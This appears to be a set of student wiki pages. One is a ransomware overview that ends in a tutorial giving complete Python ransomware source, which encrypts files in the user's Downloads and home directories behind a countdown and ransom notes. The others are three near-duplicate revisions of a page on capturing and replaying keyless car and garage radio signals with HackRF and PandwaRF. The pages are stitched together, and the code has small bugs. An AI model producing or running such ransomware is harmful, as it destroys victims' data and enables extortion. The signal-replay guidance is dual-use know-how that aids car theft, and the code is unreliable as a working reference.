Ransomware is a type of malware that takes control over a victim‘s PC or Data, and blocking access to it, in an attempt to extort money. The word "ransomware" is a combination of the words "ransom" and "software." The attackers hold the victim's data hostage and demand a payment (ransom) in exchange for the decryption key that will unlock the encrypted files.Conventionally the attacker demands that the ransom is paid in a hard to trace digital currency like Monero, Ethereum or Bitcoin.
Modern day state of the art Ransomwares (which are mostly Cryptographic) use AES-256 to encrypt files and require payment for decryption.
It is typically attained from deceptive email links or websites. Currently, there are two types of ransomwares: Cryptographic and Non-Cryptographic based.

== Role of Cryptography in Ransomware ==

Malware / Ransomware use cryptography in order to hide its own code so that antivirus or security researchers cannot identify the actual code easily, communicate with its own command and control (C&C) Server and to encrypt the files on the victim machine.

A cryptographic system can have the following components:
* Plaintext
* Encryption key
* Ciphertext, which is the encrypted text
* Encryption algorithm, also called cipher
* Decryption algorithm
* There are two types of cryptographic algorithms based on the kind of key used:
** Symmetric
** Asymmetric

Advanced Encryption Standard (AES), the most used encryption algorithm in ransomwares uses a symmetric key. More advanced CGRs use a combation of both Symmetric and Asymmetric Keys (CryptoLocker is known to use both a symmetric key and an asymmetric key RSA)

[[File:Picture1.png|500px|thumb|right| Symmetric key exchange <ref name="keyexchange"/>]]

== Cryptographic Ransomware (CGR) ==

Cryptographic Ransomware (CGR) encrypts the files of the victim‘s device using „Strong Cryptographic“ Methods. These are methods that are considered highly resistant to cryptanalysis. The victim is informed of the encryption during an attack. A Timer is another component of the attack that is used to give the victim the feeling of urgency. There is no other easy way to decrypt the data than using the decryption key. <br />
The main currencies used for paying the ransom are digital cryptocurrencies like Monero, Etherium or Bitcoin, because they are:
* Anonymous
* Difficult to track
* Transactions irreversible

CGR is not just one ransomware, but a family of malware that behave in a similar way
Most common CGRs are:
* Jigsaw
* WannaCry
* Crypto Locker
* Police Ransomware
* Dirty Decrypt
* Torrent Locker
* Batch file Ransomware
* CryptoWall

=== Crypto Locker ===

CryptoLocker comes is a plethora of different forms, one of which the Torrent Locker ransomware. The standard variant Uses the advanced encryption standard AES-128 cryptosystem to encrypt the data on the host machine. In the latter variant, Torrent Locker, on the other hand, encrypts users’s files with the most advanced encryption standard implementation AES-256-CBC. AES 128 uses 10 rounds while AES 256 uses 14 rounds. The higher the number of rounds, the more complex the encryption and is therefore the reason why Torrent Locker is more ”secure”.

== Non-Cryptographic Ransomware (NCR) ==

NCRs unlike CGRs Do not use any encryption and are applications that are designed to restrict computer interaction by locking screen or modifying Master Boot Record (MBR). They are relatively weak compared to CGR.
Examples of NCR include:
* WinLocker
* Reveton

=== Screen-Lockers ===

The main goal of screen-lockers is to restrict access to a victim’s system at the operating system level, meaning that the affected device or system cannot be used. The only thing that is displayed when booting the system, is typically a message demanding a ransom.

=== Extortionware ===

Extortionware is used by attackers to extort money from their victims, by gathering as much information as possible and stealing personal information and data that the victim wants to keep private. The attackers then usually threaten to release it, if the ransom is not paid. Mostly, none of the victim’s data is encrypted and none of their systems is blocked, but they have to pay if they do not want their private information to be leaked.

== Ransomware Kill-Chain ==

[[File:Picture2.png|1000px|thumb|center| Ransomware Kill Chain<ref name="attackchain"/>]]

* Distribution campaign – attackers use techniques like social engineering and weaponized websites to trick or force users to download a dropper which kicks off the infection
* Malicious code infection – the dropper downloads an executable which installs the ransomware itself
* Malicious payload staging – the ransomware sets up, embeds itself in a system, and establishes persistency to exist beyond a reboot
* Scanning – the ransomware searches for content to encrypt, both on the local computer and the network accessible resources
* Encryption – the discovered files are encrypted
* Payday – a ransom note is generated, shown to the victim, and the hacker waits to collect on the ransom

=== Distribution Types Kill-Chain stage ===

==== Malicious Spam Emails ====

In order to gain access and infect a system, the attacker sends a huge amount of malicious spam emails to as many people as possible. Known example are phishing emails which target specific persons or companies. Via social engineering and deception tactics, victims are tricked into downloading malicious files or clicking on malicious links, which if opened infect the victim's computer.

==== Malicious Advertising ====

Malicious advertising is a method for distribution malicious software by abusing advertisements. If an infected website is visited by a victim, malicious advertisements redirect the browser to another page. This page contains an exploits which infects the victim's computer. This happens while the victim does not notice any of it.

==== Scareware ====

Scareware is used to scare victim's into downloading malicious software. Example would be a pop-up in the victim's browser telling them that their computer might be infected and they need a specific software to remove the problem. Often real looking banners, logos and names of legitimate antimalware-solution companies are used to lure victims into downloading malicious software.

=== Encryption Kill-Chain stage ===

* Upon Infection, Cryptolocker connects to C&C and requests a public key
* RSA public and secret key pair is generated for the victim machine
* Public Key sent to the victim machine, Secret Key stays with C&C
* Ransomware generates AES Symmetric key for file encryption
* Encrypt the AES key with the RSA public key
* In order to decrypt files, AES key must be decrypted with private key in the C&C server.

== Ransomware as a Service (RaaS) ==

Ransomware as a Service is a growing business model on the dark web used by ransomware developers to distribute and sell their malware as service. Anybody, even without much technical knowledge, can execute ransomware attacks by just subscribing to this service. RaaS kits are rather easy to find on the dark web, where they are advertised like a normal product. These services may also offer a dashboard where the attacker has an overview of the progress, or even documentation with a step-by-step guide on how to use the ransomware. There are different types of RaaS revenue models, like a monthly subscription for a flat fee, a one-time license fee or a monthly fee but where a specific percentage of the ransomware profits is going to the RaaS-provider.

== Tools for Reverse Engineering and WannaCry ==

First seen in 2017, WannaCry Ransomware has a series of elements. It enters victim in the form of a „dropper“ which contains an executable that encrypts and decrypts files, a copy of Tor Browser and the Encryption Keys (Kill Switch). It is timed like Jigsaw Ransomware and should the victim fails to pay on time, all files are deleted including the encryption key. The ransomware demands 0.025 bitcoin ransom but can be much more for corperations

=== GHIDRA ===

Ghidra is a software reverse engineering (SRE) suite of tools developed by NSA's Research Directorate in support of the Cybersecurity mission.

[[File:Picture3.png|200px|thumb|right| Ghidra open source software <ref name="ghidra"/>]]
[[File:Picture4.png|500px|thumb|center| Ghidra being used to reverse engineer WannaCry]]

== Mitigation ==

=== Prevention ===

To protect against ransomware, it is important to regularly update software and security systems, avoid opening suspicious emails and links, and use strong, unique passwords for all accounts. It is also advisable to regularly back up important data to an external drive or cloud storage to ensure that it can be recovered in the event of an attack.

There are several steps that individuals and organizations can take to prevent ransomware attacks:

*Keep software and security systems up to date: Installing updates and patches as they become available can help to fix vulnerabilities that could be exploited by ransomware.

*Avoid opening suspicious emails and links: Ransomware is often delivered through email attachments or links. It is important to be cautious when opening emails from unknown senders, and to avoid clicking on links or downloading attachments from unfamiliar sources.

*Use strong, unique passwords: Using strong, unique passwords for all accounts can help to prevent unauthorized access to accounts and systems.

*Use reputable antivirus software: Antivirus software can help to detect and block ransomware before it can infect a system.

*Back up important data regularly: Regularly backing up data to an external drive or cloud storage can help to ensure that it can be recovered in the event of a ransomware attack.

*Implement network segregation: Segmenting a network into smaller, isolated segments can help to contain the spread of ransomware within an organization.

*Educate employees: Training employees to recognize and report suspicious activity can help to prevent ransomware attacks.

*Consider ransomware insurance: Ransomware insurance can provide financial protection in the event of an attack.

By following these best practices, individuals and organizations can significantly reduce their risk of falling victim to a ransomware attack.

=== Securing Networks and Systems before an attack ===

A “Prevention is better than cure” approach includes:
* Incident Response Plan
* Backups
* Antivirus Solutions
* Disable Macros scripts
* Keeping Systems up to date
* Restricted Network Access

=== Securing Networks and Systems during an attack ===

* Act Immediately
* Perform an Attack Analysis
* Determine if a decryptor is available
* Restore from a previous snapshot or backup
* Report the infection

== Python Based CGR ==

=== Summary ===

This section demonstrates how to create a simple CGR in python. Instead of using standard AES for encryption, this application uses a Fernet key due to its simplicity. Fernet keys use a combination of two smaller keys:
* A 128 bit AES encryption key
* A 128 bit SHA256 signing key

== Requirements ==

* Operating system: Ubuntu 18.04 bionic amd64
* Packages and Software: VMware Workstation Pro 12.x, Python 3.x, Anaconda Navigator, Atom IDE

Install Python 3.x and Anaconda Navigator. Clone the project from the github page: https://git.fh-campuswien.ac.at/c1710475138/somali-cryptographic-ransomware.git

=== Main Secion of the Code ===

import os
import webbrowser
from os.path import expanduser
from cryptography.fernet import Fernet #fernet keys have two smaller keys, a 128 bit AES key and a 128 bit SHA256 signing key
import tkinter as tk
from PIL import ImageTk, Image
from multiprocessing import Process
from threading import Thread
import time
from pathlib import Path

#Welcome to Somali FBI Ransomware! To start encryption:
#python3 main.py --action encrypt
#To decrypt files:
#python3 main.py --action decrypt --keyfile ./path/to/key'''

root = tk.Tk()
root.title('Terminal')

# root2 = tk.Tk()
# root2.title('FBI SOMALIA ALERT!')
# root.wm_attributes('-fullscreen', 'true')

class Malware(object):

def __init__(self):
self.key = None # key to encrypt the files
self.cryptor = None # The encryptor
self.file_ext_targets = ['jpg', 'txt', 'png' 'zip'] # our ransomware will encrypt txt files
self.my_file = Path("~/Desktop/MENSA.txt") # the system will look for this file before starting the decryption process.
self.flag = 0
self.time = 1000000

def mainscreen(self):
termf = tk.Frame(root, height=400, width=500)
w = tk.Label(root, text="Something went wrong...")
button = tk.Button(text='Close', command=self.quitApp).pack()
w.pack()
root.mainloop()
'''
#This is a method that generates a key to unlock files and pass it to the crypter
#verifies the key for decryption
'''

def quitApp(self):
root.destroy()
ransom.writeKey("key")
ransom.encryptRoot(local_root)

# canvas.delete()
'''
self.root2 = tk.Tk()
#self.root2.wm_attributes('-fullscreen', 'true')
#self.canvas = tk.Canvas(self.root2, width=1366, height=800)
#self.img = tk.PhotoImage(file="data/FBI.PNG")
#self.canvas.create_image(20, 20, anchor=tk.NW, image=self.img)
#self.canv as.pack()
#root2.mainloop()
'''

self.tick(30) #timer for encryption

def tick(self, t):

while t:
os.system('sh mi6.sh') #shell script to change the background is run constantly

if self.flag == 0:
time.sleep(5)
self.note = webbrowser.open('file://' + os.path.realpath('note.html')) #Ransomware not is generated
self.flag += 1

mins, secs = divmod(t, 60)
timer = '{:02d}:{:02d}'.format(mins, secs)
print(timer, end="\r")
time.sleep(1)
if self.my_file.is_file():
webbrowser.open('file://' + os.path.realpath('success.html')) #Once the the ransom is payed, the success page is displayed
ransom.readKey('keyfile')
ransom.encryptRoot(local_root, encrypted=True)
break

t -= 1

if t == 0 and not self.my_file.is_file():
webbrowser.open('file://' + os.path.realpath('fail.html')) #If timer runs out and there are no ransom paid, fail page is displayed
sys_root = expanduser("~") #set new encryption directory to the root
ransom.generateKey() #generate a key
ransom.writeKey("keyfile") #write a key
ransom.encryptRoot(sys_root) #start the encryption process

def generateKey(self):
self.key = Fernet.generate_key()
self.cryptor = Fernet(self.key)

'''
read the key for decryption
'''

def readKey(self, keyfileName):

with open(keyfileName, "rb") as f:
self.key = f.read()
self.cryptor = Fernet(self.key)

'''
#Save decryption key to a file
'''

def writeKey(self, keyFileName):
print(self.key)
with open(keyFileName, "wb") as f:
f.write(self.key)

'''
encrypt or decrypt files from root directory
'''

def encryptRoot(self, rootDir, encrypted=False):
for root, _, files in os.walk(rootDir):
for f in files:
abs_files_path = os.path.join(root, f)
# pass if no target files is present in current folder
if not abs_files_path.split(".")[-1] in self.file_ext_targets:
continue
self.encryptFile(abs_files_path, encrypted=encrypted)

'''
encrypt and decrypt files
'''

def encryptFile(self, filePath, encrypted=False):
with open(filePath, "rb+") as f:
_data = f.read()
if not encrypted:
# perform encryption
print()
print(f"File Contents before encryption: {_data}")
data = self.cryptor.encrypt(_data)
print(f"File contents after encryption: {data}")
else:
# decrypt
data = self.cryptor.decrypt(_data)
print(f"File content before encryption: {data}")
f.seek(0)
f.write(data)

if __name__ == "__main__":
# sys_root = expanduser("~") # Use to encrypt every folder from root
local_root = expanduser("~/Downloads") # Use to encrypt specific folder

import argparse

parser = argparse.ArgumentParser()
parser.add_argument("--action", required=True)
parser.add_argument("--keyfile")

args = parser.parse_args()
action = args.action.lower()
keyfile = args.keyfile

ransom = Malware()

if action == "decrypt":
if keyfile is None:
print("Path to key must be specified after --keyfile for decryption")
else:
ransom.readKey(key)
ransom.encryptRoot(local_root, encrypted=True)
elif action == "encrypt":
Thread(target=ransom.generateKey()).start()
Thread(target=ransom.mainscreen()).start()

== References ==

* A. Chuquilla, T. Guarda and G. Ninahualpa Quiña, "Ransomware -
WannaCry Security is everyone's," 2019 14th Iberian Conference on
Information Systems and Technologies (CISTI), Coimbra, Portugal,
2019, pp. 1-4, doi: 10.23919/CISTI.2019.8760749

* Gonzalez, D. and Hayajneh, T., n.d. Detection And Prevention Of Crypto-Ransomware.

* Malwarebytes.com. 2021. [https://www.malwarebytes.com/ransomware What is Ransomware?]

* usa.kaspersky.com. 2021. [https://usa.kaspersky.com/resource-center/definitions/scareware What is Scareware?]

* crowdstrike.com. 2021. [https://www.crowdstrike.com/cybersecurity-101/ransomware/ransomware-as-a-service-raas/ Ransomware as a Service (RaaS) Explained]

* Kost, E., 2021. [https://www.upguard.com/blog/what-is-ransomware-as-a-service What is Ransomware as a Service (RaaS)?]

Pictures:
<references>
<ref name="keyexchange"> O’Reilly Online Learning. 2022. [https://www.oreilly.com/library/view/preventing-ransomware/9781788620604/fcce9fbd-3757-4466-8036-ce7ea1a578e2.xhtml Preventing Ransomware]</ref>
<ref name="attackchain"> Exabeam. 2022. [https://www.exabeam.com/information-security/ransomwares-weakness-how-to-turn-ransomwares-achilles-heel-into-the-defenders-golden-hour/ Ransomware's Weakness: How to Turn Ransomware’s Achilles’ Heel Into the Defender’s Golden Hour].</ref>
<ref name="ghidra"> Ghidra-sre.org. 2022. [https://ghidra-sre.org Ghidra].</ref>
</references>
[[Category:Basic]]

Software-defined radio (SDR): Relay Attacks

2022-07-14T09:10:50Z

AAmmann: /* Pentesting with HackRF One */

== Introduction ==

We want to simulate a keyless car hacking situation. Therefore we want to interfere with a connection between a car and a car key during the unlocking process.
The key question is: How does a Passive Keyless Entry (PKE) system works? PKE communication is an electronic locking system which is mainly used for entering cars without the need of a key. The locking system uses passive components (keys) which will be activated by the car. The car constantly transmits its recognition signal, range is about 1.5-3 meters.
One of the most used systems is the so-called “keyless entry system”. Therefore, the car environment is surrounded by periodically low frequency signals about 130 kHz. If the right key is in this zone, the chip is reacting with those low frequencies and is creating an ID with ASK / FSK modulated signals.
Therefore, we got 2 possibilities:

''' 1. The car is sending a LF signal with some kind of “wake up signal”. '''
# The car is sending permanent wake up signals.
# If a “keyless entry key” is near a car which has the keyless entry technology, an “Acknowledgement” will be transmitted to the car.
# If the key and car fits together, an ID check between the car and the key will begin.
# The car is sending an ID to the key – if it fits, the key is transmitting the right key code. If the key code fits to the one of the automotive, the car is opening.
'''2. The car sends a LF signal with a car ID. '''
# Periodically a LF signal is transmitted by the car.
# If a “keyless entry key” is nearby and the ID fits to the one of the car’s, the key transmits the right “key code”. If the key code fits to the car key code, the car is going to open.

== Summary ==

This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements.

== Requirements ==

''' Software '''
*Computer with native Kali-Linux installed.
*License for PandwaRF.
*PandwaRF App for Android. (Must be a device with latest Android version installed)
*Universal Radio Hacker

== Description ==

===Rolling Codes vs. Fixed Codes===

Remote controls send a digital code word to the receiver. If the receiver considers the code as correct, the sender will do the stuff which it is programmed for. For example: opening a door, closing, blocking, holding or locking etc. Simple remote controls use fixed code word. That means the code word which opens the a door today, would open the door some time in the future with the same code word. An attacker who has the right device to capture a code, could easily capture the simple code and send it sometime later to open the door. Some safer systems would use so called "Rolling codes". With rolling codes, hacker would be able to capture a signal, but to retransmit these signal, he need to know the algorithm behind the rolling code in order to open the door because the captured code is used already and therefore deleted in the code algorithm. The rolling code system uses an encryption method which allows the sender and the receiver to use share codewords in to make it harder for the attacker to steal the code.

=== Pentesting with PandwaRF ===

''' Step 1 '''

#Install the application on your Android Phone.
#Open the Device.
#Install the antennas. (Never use a SDR Device without antennas.)
#Connect the PandwaRF via USB-C to your phone.
#Open the application.

''' Step 2 '''

#The device should have connected with your application. If not, do it manually in the search tab.
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency.
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze.
#In order to transmit a captured signal, you need to buy a "Kaiju License". Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code.

Side Note: You won´t be able to use PandwaRF to open your car. After long researches and communication with the manufacturer, the car opener function is only allowed for the goverment or law enforcement.

=== Pentesting with HackRF One ===
*Warning: The HackRF One will not be able to transmit on windows
''' Step 1 '''

#Set up a laptop with native kali linux
#If you want dual boot on your local machine use these instructions. With dual boot you will be able to use Windows and Kali Linux native simultaneously.

* Dualboot on windows machine

#You need a USB stick with a minimum of 8gb storage
#Download Kali image from official website https://www.kali.org/docs/development/live-build-a-custom-kali-iso/
#Download e.g. Etcher to flash the image on the USB stick to make it bootable https://www.balena.io/etcher/
#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.
#For further information follow the instructions on the official website https://www.kali.org/docs/usb/live-usb-install-with-linux/

''' Step 2 '''
* Driver Installation on HackRF One
#Download Zadig https://zadig.akeo.ie/
#Only compatible with Windows

* Set-up HackRF on Linux
# Sudo apt-get update
# Sudo apt-get -y install hackrf

Download Universal Radio Hacker on Linux machine
* First method
# Sudo python3 -m pip install –upgrade pip
# Sudo python3 -m pip install urh
* Second method
# Sudo apt -y install urh
* Third method
# git clone https://github.com/jopohl/urh
# cd urh
# python setup.py install
* Start Universal Radio Hacker with the command “urh”
# Choose HackRF
# Enter the frequency

=== Nesdr Smart – receive only ===

''' Step 1 '''

Install the driver with zadig (detailed information in the HackRF One section)

''' Step 2 '''

Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!

== Used Hardware ==

* HackRF One
* PandwaRF
* Nooelec SDR

== Conclusion ==
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well (Only for Garage Openers), but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.

== References ==

* https://www.youtube.com/watch?v=5CsD8I396wo&t=327s
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems
* https://www.youtube.com/watch?v=XrRGDQ2IzDE
* https://en.wikipedia.org/wiki/Remote_keyless_system
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines
* https://rolling.pandwarf.com/
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/
* https://installati.one/ubuntu/20.04/hackrf/
* https://zadig.akeo.ie/
* https://www.kali.org/docs/usb/live-usb-install-with-linux/
* https://www.balena.io/etcher/
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/

[[Category:Documentation]]

Software-defined radio (SDR): Relay Attacks

2022-07-14T09:08:26Z

AAmmann: /* Introduction */

== Introduction ==

We want to simulate a keyless car hacking situation. Therefore we want to interfere with a connection between a car and a car key during the unlocking process.
The key question is: How does a Passive Keyless Entry (PKE) system works? PKE communication is an electronic locking system which is mainly used for entering cars without the need of a key. The locking system uses passive components (keys) which will be activated by the car. The car constantly transmits its recognition signal, range is about 1.5-3 meters.
One of the most used systems is the so-called “keyless entry system”. Therefore, the car environment is surrounded by periodically low frequency signals about 130 kHz. If the right key is in this zone, the chip is reacting with those low frequencies and is creating an ID with ASK / FSK modulated signals.
Therefore, we got 2 possibilities:

''' 1. The car is sending a LF signal with some kind of “wake up signal”. '''
# The car is sending permanent wake up signals.
# If a “keyless entry key” is near a car which has the keyless entry technology, an “Acknowledgement” will be transmitted to the car.
# If the key and car fits together, an ID check between the car and the key will begin.
# The car is sending an ID to the key – if it fits, the key is transmitting the right key code. If the key code fits to the one of the automotive, the car is opening.
'''2. The car sends a LF signal with a car ID. '''
# Periodically a LF signal is transmitted by the car.
# If a “keyless entry key” is nearby and the ID fits to the one of the car’s, the key transmits the right “key code”. If the key code fits to the car key code, the car is going to open.

== Summary ==

This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements.

== Requirements ==

''' Software '''
*Computer with native Kali-Linux installed.
*License for PandwaRF.
*PandwaRF App for Android. (Must be a device with latest Android version installed)
*Universal Radio Hacker

== Description ==

===Rolling Codes vs. Fixed Codes===

Remote controls send a digital code word to the receiver. If the receiver considers the code as correct, the sender will do the stuff which it is programmed for. For example: opening a door, closing, blocking, holding or locking etc. Simple remote controls use fixed code word. That means the code word which opens the a door today, would open the door some time in the future with the same code word. An attacker who has the right device to capture a code, could easily capture the simple code and send it sometime later to open the door. Some safer systems would use so called "Rolling codes". With rolling codes, hacker would be able to capture a signal, but to retransmit these signal, he need to know the algorithm behind the rolling code in order to open the door because the captured code is used already and therefore deleted in the code algorithm. The rolling code system uses an encryption method which allows the sender and the receiver to use share codewords in to make it harder for the attacker to steal the code.

=== Pentesting with PandwaRF ===

''' Step 1 '''

#Install the application on your Android Phone.
#Open the Device.
#Install the antennas. (Never use a SDR Device without antennas.)
#Connect the PandwaRF via USB-C to your phone.
#Open the application.

''' Step 2 '''

#The device should have connected with your application. If not, do it manually in the search tab.
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency.
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze.
#In order to transmit a captured signal, you need to buy a "Kaiju License". Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code.

Side Note: You won´t be able to use PandwaRF to open your car. After long researches and communication with the manufacturer, the car opener function is only allowed for the goverment or law enforcement.

=== Pentesting with HackRF One ===
*Warning: The HackRF One will not be able to transmit on windows
''' Step 1 '''

#Set up a laptop with native kali linux
#If you want dual boot on your local machine use these instructions

* Dualboot on windows machine

#You need a USB stick with a minimum of 8gb storage
#Download Kali image from official website https://www.kali.org/docs/development/live-build-a-custom-kali-iso/
#Download e.g. Etcher to flash the image on the USB stick to make it bootable https://www.balena.io/etcher/
#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.
#For further information follow the instructions on the official website https://www.kali.org/docs/usb/live-usb-install-with-linux/

''' Step 2 '''
* Driver Installation on HackRF One
#Download Zadig https://zadig.akeo.ie/
#Only compatible with Windows

* Set-up HackRF on Linux
# Sudo apt-get update
# Sudo apt-get -y install hackrf

Download Universal Radio Hacker on Linux machine
* First method
# Sudo python3 -m pip install –upgrade pip
# Sudo python3 -m pip install urh
* Second method
# Sudo apt -y install urh
* Third method
# git clone https://github.com/jopohl/urh
# cd urh
# python setup.py install
* Start Universal Radio Hacker with the command “urh”
# Choose HackRF
# Enter the frequency

=== Nesdr Smart – receive only ===

''' Step 1 '''

Install the driver with zadig (detailed information in the HackRF One section)

''' Step 2 '''

Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!

== Used Hardware ==

* HackRF One
* PandwaRF
* Nooelec SDR

== Conclusion ==
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well (Only for Garage Openers), but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.

== References ==

* https://www.youtube.com/watch?v=5CsD8I396wo&t=327s
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems
* https://www.youtube.com/watch?v=XrRGDQ2IzDE
* https://en.wikipedia.org/wiki/Remote_keyless_system
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines
* https://rolling.pandwarf.com/
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/
* https://installati.one/ubuntu/20.04/hackrf/
* https://zadig.akeo.ie/
* https://www.kali.org/docs/usb/live-usb-install-with-linux/
* https://www.balena.io/etcher/
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/

[[Category:Documentation]]

Software-defined radio (SDR): Relay Attacks

2022-07-14T08:55:04Z

AAmmann: /* Pentesting with HackRF one */

== Introduction ==

We want to simulate a keyless car hacking situation. Therefore we want to interfere with a connection between a car and a car key during the unlocking process.
The key question is: How does a Passive Keyless Entry (PKE) system works? PKE communication is an electronic locking system which is mainly used for entering cars without the need of a key. The locking system uses passive components (keys) which will be activated by the car. The car constantly transmits its recognition signal, range is about 1.5-3 meters.
One of the most used systems is the so-called “keyless entry system”. Therefore, the car environment is surrounded by periodically low frequency signals about 130 kHz. If the right key is in this zone, the chip is reacting with those low frequencies and is creating an ID with ASK / FSK modulated signals.
Therefore, we got 2 possibilities:

''' 1. The car is sending a LF signal with some kind of “wake up signal”. '''
# The car is sending permanent wake up signals.
# If a “keyless entry key” is in the near of, an “Acknowledgement” is transmitted to the car.
# If the key and car fits together, an ID check is going to start.
# The car is sending an ID to the key – if it fits, the key is transmitting the right key code. If the key code fits to the one of the automotive, the car is opening.
'''2. The car sends a LF signal with a car ID. '''
# Periodically a LF signal is transmitted by the car.
# If a “keyless entry key” is nearby and the ID fits to the one of the car’s, the key transmits the right “key code”. If the key code fits, the car is going to open.

== Summary ==

This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements.

== Requirements ==

''' Software '''
*Computer with native Kali-Linux installed.
*License for PandwaRF.
*PandwaRF App for Android. (Must be a device with latest Android version installed)
*Universal Radio Hacker

== Description ==

===Rolling Codes vs. Fixed Codes===

Remote controls send a digital code word to the receiver. If the receiver considers the code as correct, the sender will do the stuff which it is programmed for. For example: opening a door, closing, blocking, holding or locking etc. Simple remote controls use fixed code word. That means the code word which opens the a door today, would open the door some time in the future with the same code word. An attacker who has the right device to capture a code, could easily capture the simple code and send it sometime later to open the door. Some safer systems would use so called "Rolling codes". With rolling codes, hacker would be able to capture a signal, but to retransmit these signal, he need to know the algorithm behind the rolling code in order to open the door because the captured code is used already and therefore deleted in the code algorithm. The rolling code system uses an encryption method which allows the sender and the receiver to use share codewords in to make it harder for the attacker to steal the code.

=== Pentesting with PandwaRF ===

''' Step 1 '''

#Install the application on your Android Phone.
#Open the Device.
#Install the antennas. (Never use a SDR Device without antennas.)
#Connect the PandwaRF via USB-C to your phone.
#Open the application.

''' Step 2 '''

#The device should have connected with your application. If not, do it manually in the search tab.
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency.
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze.
#In order to transmit a captured signal, you need to buy a "Kaiju License". Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code.

Side Note: You won´t be able to use PandwaRF to open your car. After long researches and communication with the manufacturer, the car opener function is only allowed for the goverment or law enforcement.

=== Pentesting with HackRF One ===
*Warning: The HackRF One will not be able to transmit on windows
''' Step 1 '''

#Set up a laptop with native kali linux
#If you want dual boot on your local machine use these instructions

* Dualboot on windows machine

#You need a USB stick with a minimum of 8gb storage
#Download Kali image from official website https://www.kali.org/docs/development/live-build-a-custom-kali-iso/
#Download e.g. Etcher to flash the image on the USB stick to make it bootable https://www.balena.io/etcher/
#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.
#For further information follow the instructions on the official website https://www.kali.org/docs/usb/live-usb-install-with-linux/

''' Step 2 '''
* Driver Installation on HackRF One
#Download Zadig https://zadig.akeo.ie/
#Only compatible with Windows

* Set-up HackRF on Linux
# Sudo apt-get update
# Sudo apt-get -y install hackrf

Download Universal Radio Hacker on Linux machine
* First method
# Sudo python3 -m pip install –upgrade pip
# Sudo python3 -m pip install urh
* Second method
# Sudo apt -y install urh
* Third method
# git clone https://github.com/jopohl/urh
# cd urh
# python setup.py install
* Start Universal Radio Hacker with the command “urh”
# Choose HackRF
# Enter the frequency

=== Nesdr Smart – receive only ===

''' Step 1 '''

Install the driver with zadig (detailed information in the HackRF One section)

''' Step 2 '''

Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!

== Used Hardware ==

* HackRF One
* PandwaRF
* Nooelec SDR

== Conclusion ==
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well (Only for Garage Openers), but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.

== References ==

* https://www.youtube.com/watch?v=5CsD8I396wo&t=327s
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems
* https://www.youtube.com/watch?v=XrRGDQ2IzDE
* https://en.wikipedia.org/wiki/Remote_keyless_system
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines
* https://rolling.pandwarf.com/
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/
* https://installati.one/ubuntu/20.04/hackrf/
* https://zadig.akeo.ie/
* https://www.kali.org/docs/usb/live-usb-install-with-linux/
* https://www.balena.io/etcher/
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/

